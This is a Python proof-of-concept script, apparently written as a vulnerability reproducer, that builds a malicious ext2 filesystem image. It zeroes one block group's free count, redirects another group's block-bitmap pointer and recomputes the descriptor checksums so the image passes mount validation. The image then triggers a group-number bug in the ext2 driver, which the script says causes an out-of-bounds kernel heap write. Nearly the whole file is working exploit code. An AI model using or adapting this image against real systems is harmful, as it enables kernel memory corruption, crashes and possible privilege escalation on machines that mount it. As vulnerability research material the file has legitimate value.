DF-0811 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 | #!/usr/bin/env python3 """ DF-0811 โ crafted ext4 image generator. Creates an ext2 image with FLEX_BG + GDT_CSUM, then patches group 1's block-bitmap descriptor pointer to a block physically in GROUP 0 whose BUGGY ext2_get_group_number (dividing by e2fs_bsize instead of e2fs_bpg) returns 1 โ the wrong group. Mount validation (ext2_vfsops.c:400-409) uses CORRECT bounds so the crafted image passes mount; the bug only fires when ext2_alloccg for cg=1 calls ext2_cg_block_bitmap_init, which uses the BUGGY ext2_block_in_group and produces: setbit(bp->b_data, tmp - start) with tmp(1025) - start(8193) = uint64 wrap => wild out-of-bounds kernel heap write. Group 0's nbfree is zeroed so the block allocator's quadratic rehash (ext2_hashalloc, ext2_alloc.c:750) skips group 0 and immediately lands on group 1, deterministically triggering the init. """ import struct, subprocess, sys, os # ---- CRC-16 (polynomial 0x8005), matches ext2_csum.c ext2_crc16 ---- _T = [ 0x0000,0xC0C1,0xC181,0x0140,0xC301,0x03C0,0x0280,0xC241, 0xC601,0x06C0,0x0780,0xC741,0x0500,0xC5C1,0xC481,0x0440, 0xCC01,0x0CC0,0x0D80,0xCD41,0x0F00,0xCFC1,0xCE81,0x0E40, 0x0A00,0xCAC1,0xCB81,0x0B40,0xC901,0x09C0,0x0880,0xC841, 0xD801,0x18C0,0x1980,0xD941,0x1B00,0xDBC1,0xDA81,0x1A40, 0x1E00,0xDEC1,0xDF81,0x1F40,0xDD01,0x1DC0,0x1C80,0xDC41, 0x1400,0xD4C1,0xD581,0x1540,0xD701,0x17C0,0x1680,0xD641, 0xD201,0x12C0,0x1380,0xD341,0x1100,0xD1C1,0xD081,0x1040, 0xF001,0x30C0,0x3180,0xF141,0x3300,0xF3C1,0xF281,0x3240, 0x3600,0xF6C1,0xF781,0x3740,0xF501,0x35C0,0x3480,0xF441, 0x3C00,0xFCC1,0xFD81,0x3D40,0xFF01,0x3FC0,0x3E80,0xFE41, 0xFA01,0x3AC0,0x3B80,0xFB41,0x3900,0xF9C1,0xF881,0x3840, 0x2800,0xE8C1,0xE981,0x2940,0xEB01,0x2BC0,0x2A80,0xEA41, 0xEE01,0x2EC0,0x2F80,0xEF41,0x2D00,0xEDC1,0xEC81,0x2C40, 0xE401,0x24C0,0x2580,0xE541,0x2700,0xE7C1,0xE681,0x2640, 0x2200,0xE2C1,0xE381,0x2340,0xE101,0x21C0,0x2080,0xE041, 0xA001,0x60C0,0x6180,0xA141,0x6300,0xA3C1,0xA281,0x6240, 0x6600,0xA6C1,0xA781,0x6740,0xA501,0x65C0,0x6480,0xA441, 0x6C00,0xACC1,0xAD81,0x6D40,0xAF01,0x6FC0,0x6E80,0xAE41, 0xAA01,0x6AC0,0x6B80,0xAB41,0x6900,0xA9C1,0xA881,0x6840, 0x7800,0xB8C1,0xB981,0x7940,0xBB01,0x7BC0,0x7A80,0xBA41, 0xBE01,0x7EC0,0x7F80,0xBF41,0x7D00,0xBDC1,0xBC81,0x7C40, 0xB401,0x74C0,0x7580,0xB541,0x7700,0xB7C1,0xB681,0x7640, 0x7200,0xB2C1,0xB381,0x7340,0xB101,0x71C0,0x7080,0xB041, 0x5000,0x90C1,0x9181,0x5140,0x9301,0x53C0,0x5280,0x9241, 0x9601,0x56C0,0x5780,0x9741,0x5500,0x95C1,0x9481,0x5440, 0x9C01,0x5CC0,0x5D80,0x9D41,0x5F00,0x9FC1,0x9E81,0x5E40, 0x5A00,0x9AC1,0x9B81,0x5B40,0x9901,0x59C0,0x5880,0x9841, 0x8801,0x48C0,0x4980,0x8941,0x4B00,0x8BC1,0x8A81,0x4A40, 0x4E00,0x8EC1,0x8F81,0x4F40,0x8D01,0x4DC0,0x4C80,0x8C41, 0x4400,0x84C1,0x8581,0x4540,0x8701,0x47C0,0x4680,0x8641, 0x8201,0x42C0,0x4380,0x8341,0x4100,0x81C1,0x8081,0x4040, ] def crc16(crc, data): crc &= 0xFFFF for b in data: crc = ((crc >> 8) ^ _T[(crc ^ b) & 0xFF]) & 0xFFFF return crc def gd_csum_gdt(uuid_bytes, block_group, gd_30bytes): """ext2_gd_csum for GDT_CSUM (non-metadata_csum) โ ext2_csum.c:690-701.""" crc = crc16(0xFFFF, uuid_bytes) crc = crc16(crc, struct.pack('<I', block_group)) crc = crc16(crc, gd_30bytes) return crc & 0xFFFF # ext2_bgd field offsets (struct ext2_gd, rev0 first 32 bytes) O_B_BITMAP = 0 # uint32 O_I_BITMAP = 4 # uint32 O_I_TABLES = 8 # uint32 O_NBFREE = 12 # uint16 O_NIFREE = 14 # uint16 O_NDIRS = 16 # uint16 O_FLAGS = 18 # uint16 O_X_BITMAP = 20 # uint32 O_B_BMAP_CSUM= 24 # uint16 O_I_BMAP_CSUM= 26 # uint16 O_I_UNUSED = 28 # uint16 O_CSUM = 30 # uint16 EXT2_BG_BLOCK_UNINIT = 0x0002 GD_SIZE = 32 # E2FS_REV0_GD_SIZE # superblock field offsets (struct ext2fs, relative to SB start) S_BCOUNT = 4 # uint32 S_FBCOUNT = 12 # uint32 S_FIRST_DBLK = 20 # uint32 S_LOG_BSIZE = 24 # uint32 S_BPG = 32 # uint32 S_FPG = 36 # uint32 S_IPG = 40 # uint32 S_MAGIC = 56 # uint16 S_FEAT_INCOMPAT = 96 # uint32 S_FEAT_ROCOMPAT = 100 # uint32 S_UUID = 104 # 16 bytes EXT2F_INCOMPAT_FLEX_BG = 0x0200 EXT2F_ROCOMPAT_GDT_CSUM = 0x0010 def main(): img = sys.argv[1] if len(sys.argv) > 1 else "df0811.img" bsize = 1024 # 1. create base ext2 image: ~17MB โ 2 groups of 8192 blocks nblocks = 2 * (bsize * 8) + 4 # just over 2 groups; mke2fs rounds img_bytes = nblocks * bsize subprocess.run(["truncate", "-s", str(img_bytes), img], check=True) r = subprocess.run([ "mke2fs", "-q", "-F", "-t", "ext2", "-O", "flex_bg", "-O", "uninit_bg", # mke2fs name for gdt_csum "-b", str(bsize), "-E", "nodiscard", "-g", str(bsize * 8), # blocks per group = bsize*8 "-L", "DF0811", img, ], capture_output=True, text=True) if r.returncode != 0: sys.stderr.write(r.stderr) sys.exit("mke2fs failed") with open(img, 'r+b') as f: SB = 1024 f.seek(SB) sb = bytearray(f.read(1024)) magic = struct.unpack_from('<H', sb, S_MAGIC)[0] assert magic == 0xEF53, f"bad magic {magic:#x}" uuid = bytes(sb[S_UUID:S_UUID+16]) bcount = struct.unpack_from('<I', sb, S_BCOUNT)[0] first_dblock = struct.unpack_from('<I', sb, S_FIRST_DBLK)[0] bpg = struct.unpack_from('<I', sb, S_BPG)[0] feat_incompat = struct.unpack_from('<I', sb, S_FEAT_INCOMPAT)[0] feat_rocompat = struct.unpack_from('<I', sb, S_FEAT_ROCOMPAT)[0] ngroups = (bcount - first_dblock + bpg - 1) // bpg assert bpg == bsize * 8, f"mount invariant broken: bpg={bpg} bsize*8={bsize*8}" assert ngroups >= 2, f"need >=2 groups, got {ngroups}" assert feat_incompat & EXT2F_INCOMPAT_FLEX_BG, "flex_bg not set" assert feat_rocompat & EXT2F_ROCOMPAT_GDT_CSUM, "gdt_csum not set" print(f"image geometry: bsize={bsize} first_dblock={first_dblock} " f"bpg={bpg} ngroups={ngroups} bcount={bcount}") print(f"features: incompat={feat_incompat:#x} rocompat={feat_rocompat:#x}") print(f"uuid: {uuid.hex()}") # GD table at block (first_dblock + 1) gd_off = (first_dblock + 1) * bsize # --- patch cg=0: zero nbfree so allocator skips it --- f.seek(gd_off + 0 * GD_SIZE) gd0 = bytearray(f.read(GD_SIZE)) old_nbfree0 = struct.unpack_from('<H', gd0, O_NBFREE)[0] struct.pack_into('<H', gd0, O_NBFREE, 0) csum0 = gd_csum_gdt(uuid, 0, bytes(gd0[0:O_CSUM])) struct.pack_into('<H', gd0, O_CSUM, csum0) f.seek(gd_off + 0 * GD_SIZE) f.write(gd0) print(f"cg=0: nbfree {old_nbfree0} -> 0 (force allocator to cg=1), csum={csum0:#06x}") # --- patch cg=1: trigger pointer + BLOCK_UNINIT --- f.seek(gd_off + 1 * GD_SIZE) gd1 = bytearray(f.read(GD_SIZE)) # target: b_bitmap = first_dblock + bsize (in group 0; buggy group = 1) target_b_bitmap = first_dblock + bsize # 1 + 1024 = 1025 old_bb = struct.unpack_from('<I', gd1, O_B_BITMAP)[0] struct.pack_into('<I', gd1, O_B_BITMAP, target_b_bitmap) flags = struct.unpack_from('<H', gd1, O_FLAGS)[0] flags |= EXT2_BG_BLOCK_UNINIT struct.pack_into('<H', gd1, O_FLAGS, flags) csum1 = gd_csum_gdt(uuid, 1, bytes(gd1[0:O_CSUM])) struct.pack_into('<H', gd1, O_CSUM, csum1) f.seek(gd_off + 1 * GD_SIZE) f.write(gd1) start = 1 * bpg + first_dblock buggy_gn = (target_b_bitmap - first_dblock) // bsize correct_gn = (target_b_bitmap - first_dblock) // bpg print(f"cg=1: b_bitmap {old_bb} -> {target_b_bitmap}, " f"flags={flags:#06x} (BLOCK_UNINIT set), csum={csum1:#06x}") print(f" BUGGY ext2_get_group_number({target_b_bitmap}) = " f"({target_b_bitmap}-{first_dblock})/{bsize} = {buggy_gn} (== cg=1 => TRUE)") print(f" CORRECT group number = " f"({target_b_bitmap}-{first_dblock})/{bpg} = {correct_gn} (== cg=1 => FALSE)") print(f" start(cg=1) = {start}; setbit bit_index = " f"{target_b_bitmap} - {start} = {target_b_bitmap - start} " f"=> uint64 wrap to {(target_b_bitmap - start) & 0xFFFFFFFFFFFFFFFF:#018x}") print(f" => wild kernel heap write in ext2_cg_block_bitmap_init") print(f"\nimage written: {img} ({os.path.getsize(img)} bytes)") if __name__ == "__main__": main() |